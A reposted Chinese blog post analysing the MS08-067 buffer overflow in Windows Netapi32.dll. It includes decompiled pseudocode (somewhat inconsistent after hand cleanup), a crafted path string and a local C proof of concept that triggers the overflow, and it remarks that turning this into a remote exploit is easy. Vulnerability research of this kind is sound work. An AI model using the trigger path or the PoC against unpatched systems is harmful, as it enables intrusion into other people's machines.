MS08-067漏洞分析(20081025)

前天看到微軟緊急發佈了一個漏洞補丁,就去看了下,發現該漏洞影響覆蓋面非常廣,包括Windows 2000/XP/2003/Vista/2008的各個版本,甚至還包括測試階段的Windows 7 Pre-Beta,並且漏洞存在於Windows系統默認開啓的Server服務當中,而且超越了當年風靡一時的MS06-040漏洞(又想起當年用該漏洞。。。。。。。嘿嘿)。這也難怪微軟打破週二發佈補丁的慣例。於是下了補丁研究研究。
下完補丁,發現被打補丁的又是 Netapi32.dll,對比原文件和補丁中的文件,有問題的函數又是
NetpwPathCanonicalize(MS06-040也是這個函數,具體信息請搜索)簡單說下這個函數:
該函數用於標準化一個路徑,一般用於本地調用,若調用者指定了一個遠程計算機名將會使用RPC。
該函數能夠處理的路徑類型:
1.相對路徑 e.g. foo\bar
2.絕對路徑 e.g. \foo\bar 
3.UNC 路徑 e.g. \\computer\share\foo
4.全路徑  e.g. d:\foo\bar
該函數聲明如下:
DWORD
NetpwPathCanonicalize(
LPWSTR PathName, //需要標準化的路徑
LPWSTR Outbuf, //存儲標準化後的路徑的Buffer
DWORD OutbufLen, //Buffer長度
LPWSTR Prefix, //可選參數,當PathName是相對路徑時有用
LPDWORD PathType, //存儲路徑類型
DWORD Flags // 保留,爲0
)
該函數中在一個循環裏使用wcscpy,惡意***者通過構造一個精心設計的路徑將使漏洞觸發。
結合IDA分析該函數:(F5 + 整理 + 主要代碼)
int __stdcall NetpwPathCanonicalize(LPWSTR PathName, LPWSTR Outbuf, DWORD OutbufLen, LPWSTR Prefix, LPDWORD PathType, DWORD Flags)
{
  bool v7;
  int result;
  v7 = !Prefix || !*Prefix;
  Prefix = (LPWSTR)*PathType;
    if ( *PathType || (result = NetpwPathType(PathName, (int)&Prefix, 0), !result) )
    {
      if ( v7 || (result = NetpwPathType(Prefix, (int)&Flags, 0), !result) )
      {
        if ( OutbufLen != 0 )
        {
          *Outbuf = 0;
          result = CanonPathName(Prefix, PathName, Outbuf, OutbufLen, 0); //核心函數,主要處理在這裏,問題也出在這裏
          if ( !result )
            result = NetpwPathType(Outbuf, (int)PathType, 0);
        }
        else
        {
          result = 2123;
        }
      }
    }
  return result;
}
int __stdcall CanonPathName(LPWSTR PathPrefix, LPWSTR PathName, LPWSTR Buffer, DWORD BufferSize, LPDWORD RetSize)
{
  size_t preLen;
  size_t pathLen;
  wchar_t pathBuffer[MAX_PATH*2 + 1];
  if ( PathPrefix && *PathPrefix )
  {
    preLen = wcslen(PathPrefix);
    if ( preLen != 0)
    {
      if ( preLen > 520 ) //520 = sizeof(pathBuffer) - 1
        return 0x7Bu; // ERROR_INVALID_NAME
       
      wcscpy(pathBuffer, PathPrefix);
     
      if ( pathBuffer[preLen-1] != '\\' && pathBuffer[preLen-1] != '/') //判斷前綴是否以'\'或'/'結尾
      {
          wcscat(pathBuffer, L"\\");
          ++preLen;
      }
      if ( PathName[0] == '\\' || PathName[0] == '/' )
        ++pathLen;
    }
  }
  else
  {
    pathBuffer[0] = 0;
  }
  pathLen = wcslen(PathName);
  if (pathLen + preLen > sizeof(pathBuffer) - 1)
    return 0x7Bu; // ERROR_INVALID_NAME
  wcscat(pathBuffer, PathName);
  if ( pathBuffer )
  {
    do //該循環把路徑中的'/'轉換成'\'
    {
      if ( *pathBuffer == '/' )
        *pathBuffer = '\\';
      ++pathBuffer;
    }
    while ( *pathBuffer );
  }
  if ( !sub_71C4A2CA() && !ConPathMacros(pathBuffer) ) //ConPathMacros中存在緩衝區溢出漏洞!!!
    return 0x7Bu;
  pathLen = 2 * wcslen(&pathBuffer) + 2;
  if ( pathLen > BufferSize )
  {
    if ( RetSize )
      *RetSize = pathLen;
    result = 0x84Bu;
  }
  else
  {
    wcscpy(Buffer, &pathBuffer);
    result = 0;
  }
  return result;
}
函數ConPathMacros在附件中可以找到。
在測試時大家可以把函數ConPathMacros單獨提取出來,傳入一個路徑,看其是怎樣去掉路徑中的\..和\.宏
構造惡意路徑:
形如".\\\\x\\..\\..\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaa"即可導致函數ConPathMacros漏洞的觸發
溢出 Netapi32.dll:
int main(int argc, char* argv[])
{
    WCHAR szBuffer[] = L".\\\\x\\..\\..\\aaaaaaaaaaaaaaaaaaaaaaaaaaaa";
    //ConvertPathMacros(szBuffer);
    //printf("%S\n", szBuffer);
    HMODULE h = LoadLibrary("netapi32.dll");
    if(h != NULL)
    {
        NetpwPathCanonicalize = (pNetpwPathCanonicalize)GetProcAddress(h, "NetpwPathCanonicalize");
        if(NetpwPathCanonicalize != NULL)
        {
            WCHAR Buffer[256] = L"";
            DWORD type = 1000; //不能爲0,否則構造的路徑過不了NetpwPathType的檢查
            DWORD ret = NetpwPathCanonicalize(szBuffer, Buffer, 512, NULL, &type, 0);
            printf("ret = %x\n", ret);
            printf("%S\n", Buffer);
        }
        FreeLibrary(h);
    }
    return 0;
}
漏洞的源頭找到了,加個shellcode寫個Remote Exploit不難。。。況且可以參考 MS06-040,
手工實現RPC通信等等。。。

本文來自CSDN博客,轉載請標明出處:http://blog.csdn.net/Delphiscn/archive/2008/11/10/3266108.aspx
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章